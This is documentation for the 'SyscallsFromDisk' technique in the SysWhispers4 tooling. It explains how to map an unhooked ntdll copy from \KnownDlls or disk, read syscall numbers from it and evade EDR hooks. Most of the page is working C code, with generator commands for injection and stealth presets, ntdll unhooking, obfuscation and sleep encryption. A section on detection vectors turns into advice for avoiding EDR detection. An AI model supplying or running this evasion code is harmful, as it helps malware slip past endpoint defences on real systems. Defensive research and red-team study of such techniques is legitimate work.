Overview
SyscallsFromDisk achieves maximum hook resistance by mapping a completely clean, unhookedcopy of ntdll.dll from \KnownDlls\ntdll.dll or directly from disk, then extracting SSNs from the pristine .text section. Since the mapped copy is never touched by EDR hooks, all opcode reads are guaranteed clean.
This technique is slower (~10-20ms initialization) than FreshyCalls due to file mapping operations. Use when maximum reliability is critical.
The Problem: All Stubs Hooked
In heavily monitored environments, EDRs may hook:
Every Nt* function in the running ntdll (defeats Hell’s/Halo’s/Tartarus’ Gate)
Export table entries (could theoretically defeat FreshyCalls)
Syscall return addresses (defeats some indirect methods)
SyscallsFromDisk bypasses all of these by reading from a hook-free source.
How It Works
High-Level Flow
Step-by-Step
Open \KnownDlls\ntdll.dll
Windows maintains a shared section object at \KnownDlls\ntdll.dll containing the original, unmodified ntdll. UNICODE_STRING objName;
RtlInitUnicodeString ( & objName , L " \\ KnownDlls \\ ntdll.dll" );
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes ( & objAttr , & objName , OBJ_CASE_INSENSITIVE, NULL , NULL );
HANDLE hSection = NULL ;
NTSTATUS status = NtOpenSection ( & hSection , SECTION_MAP_READ, & objAttr );
Map the Clean Section
Create a read-only view of the clean ntdll in our process address space: PVOID pCleanNtdll = NULL ;
SIZE_T viewSize = 0 ;
status = NtMapViewOfSection (
hSection, GetCurrentProcess (),
& pCleanNtdll , 0 , 0 , NULL , & viewSize ,
ViewShare, 0 , PAGE_READONLY
);
Parse Export Table
Identical to FreshyCalls, but reading from the clean mapped copy: PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pCleanNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)pCleanNtdll + dos -> e_lfanew);
// ... extract export directory from clean ntdll
Read SSNs from Opcodes
Read the mov eax, <SSN> opcode (Hell’s Gate style) from the unhooked stubs: PVOID funcAddr = (PBYTE)pCleanNtdll + funcRva;
PBYTE code = (PBYTE)funcAddr;
// Check for: 4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00
if ( code [ 0 ] == 0x 4C && code [ 1 ] == 0x 8B && code [ 2 ] == 0x D1 &&
code [ 3 ] == 0x B8 ) {
DWORD ssn = * (DWORD * )(code + 4 ); // Guaranteed clean!
SW4_SsnTable [funcIndex] = ssn;
}
Cleanup
Unmap the section and close handles: NtUnmapViewOfSection ( GetCurrentProcess (), pCleanNtdll);
NtClose (hSection);
Implementation
Full C Code
BOOL SW4_SyscallsFromDisk (VOID) {
// 1. Open \KnownDlls\ntdll.dll section
UNICODE_STRING uObjName;
RtlInitUnicodeString ( & uObjName, L " \\ KnownDlls \\ ntdll.dll" );
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes ( & objAttr, & uObjName, OBJ_CASE_INSENSITIVE, NULL , NULL );
HANDLE hSection = NULL ;
NTSTATUS status = NtOpenSection ( & hSection, SECTION_MAP_READ, & objAttr);
if ( ! NT_SUCCESS (status)) {
// Fallback: open ntdll.dll from System32
return SW4_SyscallsFromDiskFile (L "C: \\ Windows \\ System32 \\ ntdll.dll" );
}
// 2. Map read-only view
PVOID pCleanNtdll = NULL ;
SIZE_T viewSize = 0 ;
status = NtMapViewOfSection (
hSection, GetCurrentProcess (),
& pCleanNtdll, 0 , 0 , NULL , & viewSize,
ViewShare, 0 , PAGE_READONLY
);
if ( ! NT_SUCCESS (status)) {
NtClose (hSection);
return FALSE ;
}
// 3. Parse PE headers
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pCleanNtdll;
if ( dos -> e_magic != IMAGE_DOS_SIGNATURE) {
NtUnmapViewOfSection ( GetCurrentProcess (), pCleanNtdll);
NtClose (hSection);
return FALSE ;
}
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((PBYTE)pCleanNtdll + dos -> e_lfanew );
if ( nt -> Signature != IMAGE_NT_SIGNATURE) {
NtUnmapViewOfSection ( GetCurrentProcess (), pCleanNtdll);
NtClose (hSection);
return FALSE ;
}
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
(PBYTE)pCleanNtdll +
nt -> OptionalHeader . DataDirectory [IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress
);
PDWORD nameRvas = (PDWORD)((PBYTE)pCleanNtdll + exports -> AddressOfNames );
PDWORD funcRvas = (PDWORD)((PBYTE)pCleanNtdll + exports -> AddressOfFunctions );
PWORD ordinals = (PWORD)((PBYTE)pCleanNtdll + exports -> AddressOfNameOrdinals );
// 4. Extract SSNs from clean opcodes
for (DWORD i = 0 ; i < exports -> NumberOfNames ; i ++ ) {
PCHAR name = (PCHAR)((PBYTE)pCleanNtdll + nameRvas [i]);
if ( name [ 0 ] != 'N' || name [ 1 ] != 't' ) continue ;
DWORD hash = djb2_hash (name);
PVOID funcAddr = (PBYTE)pCleanNtdll + funcRvas [ ordinals [i]];
PBYTE code = (PBYTE)funcAddr;
// Match against our function table
for (DWORD j = 0 ; j < SW4_FUNC_COUNT; j ++ ) {
if ( SW4_FunctionHashes [j] == hash) {
// Read SSN from: B8 [SSN] 00 00 (mov eax, ssn)
if ( code [ 0 ] == 0x 4C && code [ 1 ] == 0x 8B && code [ 2 ] == 0x D1 &&
code [ 3 ] == 0x B8 ) {
DWORD ssn = * (DWORD * )(code + 4 );
SW4_SsnTable [j] = ssn;
}
break ;
}
}
}
// 5. Cleanup
NtUnmapViewOfSection ( GetCurrentProcess (), pCleanNtdll);
NtClose (hSection);
return TRUE ;
}
Advantages
Absolute Hook Immunity EDR hooks in the running ntdll are completely irrelevant — we read from an untouched copy
Opcode Validation Can safely use Hell’s Gate opcode reading since the source is guaranteed clean
Export Table Independent If EDR modifies the export table (extremely rare), we’re unaffected — we map from KnownDlls
Future-Proof Works across all Windows versions — KnownDlls always contains the pristine image
Operation Time (Typical) Notes NtOpenSection~2ms Kernel object lookup NtMapViewOfSection~5ms Page table setup Export parsing ~1ms Standard PE walk SSN extraction ~2ms Loop over Nt* exports NtUnmapViewOfSection~1ms Cleanup Total ~10-15ms vs. ~1-2ms for FreshyCalls
The overhead is one-time during SW4_Initialize(). Once SSNs are cached, syscalls execute at full speed.
Limitations & Edge Cases
1. KnownDlls Access Restrictions
In sandboxed or restricted processes, \KnownDlls\ may not be accessible:
// Error: STATUS_ACCESS_DENIED or STATUS_OBJECT_NAME_NOT_FOUND
NtOpenSection ( & hSection , SECTION_MAP_READ, & objAttr );
Mitigation : Fallback to reading from C:\Windows\System32\ntdll.dll:
BOOL SW4_SyscallsFromDiskFile (LPCWSTR path ) {
HANDLE hFile = CreateFileW (path, GENERIC_READ, FILE_SHARE_READ,
NULL , OPEN_EXISTING, 0 , NULL );
if (hFile == INVALID_HANDLE_VALUE) return FALSE ;
HANDLE hMapping = CreateFileMappingW (hFile, NULL , PAGE_READONLY, 0 , 0 , NULL );
CloseHandle (hFile);
if ( ! hMapping) return FALSE ;
PVOID pCleanNtdll = MapViewOfFile (hMapping, FILE_MAP_READ, 0 , 0 , 0 );
CloseHandle (hMapping);
if ( ! pCleanNtdll) return FALSE ;
// ... same SSN extraction as above ...
UnmapViewOfFile (pCleanNtdll);
return TRUE ;
}
2. NTDLL Backed by Non-Standard Path
In rare cases (custom Windows PE loaders, Wine), ntdll may be loaded from a non-standard location. The System32 fallback handles this.
If you need to repeatedly re-resolve SSNs (unusual), cache results rather than re-mapping.
Comparison with Alternatives
Feature FreshyCalls SyscallsFromDisk RecycledGate HW Breakpoint Hook resistance Very High Maximum Maximum Maximum Speed Fast (~2ms) Slow (~15ms) Medium (~5ms) Slow (~20ms) Complexity Low Medium Medium High Sandbox compatible ✅ ⚠️ (may fail) ✅ ✅ Kernel callback bypass ❌ ❌ ❌ ❌
When to Use
Use SyscallsFromDisk When
Maximum paranoia required (government, high-security targets)
All stubs are hooked in the running ntdll
Export table manipulation suspected (extremely rare)
Single initialization acceptable (performance cost amortized)
Combining with ntdll unhooking for layered defense:
SW4_UnhookNtdll (); // Remove hooks from running ntdll
SW4_SyscallsFromDisk (); // Resolve SSNs from clean copy
Speed is critical — use FreshyCalls instead
Running in sandboxes (AppContainer, low-integrity) — KnownDlls may be blocked
Repeated initialization needed — cache SSNs after first resolution
Usage in SysWhispers4
Generate with SyscallsFromDisk
# Basic usage
python syswhispers.py --preset injection --resolve from_disk
# Recommended: combine with indirect invocation + unhooking
python syswhispers.py --preset stealth \
--resolve from_disk \
--method indirect \
--unhook-ntdll \
--obfuscate
Integration Example
#include "SW4Syscalls.h"
int main ( void ) {
// Optional: unhook running ntdll first
SW4_UnhookNtdll ();
// Initialize via SyscallsFromDisk
if ( ! SW4_Initialize ()) {
fprintf (stderr, "[!] SyscallsFromDisk failed \n " );
return 1 ;
}
printf ( "[+] SSNs resolved from clean ntdll \n " );
// Use syscalls — all SSNs are from the unhooked copy
PVOID base = NULL ;
SIZE_T size = 0x 1000 ;
NTSTATUS st = SW4_NtAllocateVirtualMemory (
GetCurrentProcess (), & base, 0 , & size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
return NT_SUCCESS (st) ? 0 : 1 ;
}
Detection Vectors
What EDRs Can Observe
KnownDlls access : Calling NtOpenSection("\\KnownDlls\\ntdll.dll") is visible via kernel callbacks
Section mapping : EDRs can track NtMapViewOfSection calls
Timing anomaly : 15ms initialization is longer than normal API calls
Mitigation Strategies
Combine with ntdll unhooking
EDRs see both operations but struggle to correlate: SW4_UnhookNtdll (); // Remove hooks
SW4_Initialize (); // Resolve from disk
Use indirect invocation
Keep RIP inside ntdll during syscalls: python syswhispers.py --resolve from_disk --method randomized
Enable sleep encryption
Encrypt .text during idle periods: python syswhispers.py --resolve from_disk --sleep-encrypt
Further Reading
FreshyCalls Faster alternative with very high hook resistance
RecycledGate Hybrid approach combining sorting + opcode validation
ntdll Unhooking Complement by removing hooks from running ntdll
KnownDlls Deep Dive Alex Ionescu on Windows KnownDlls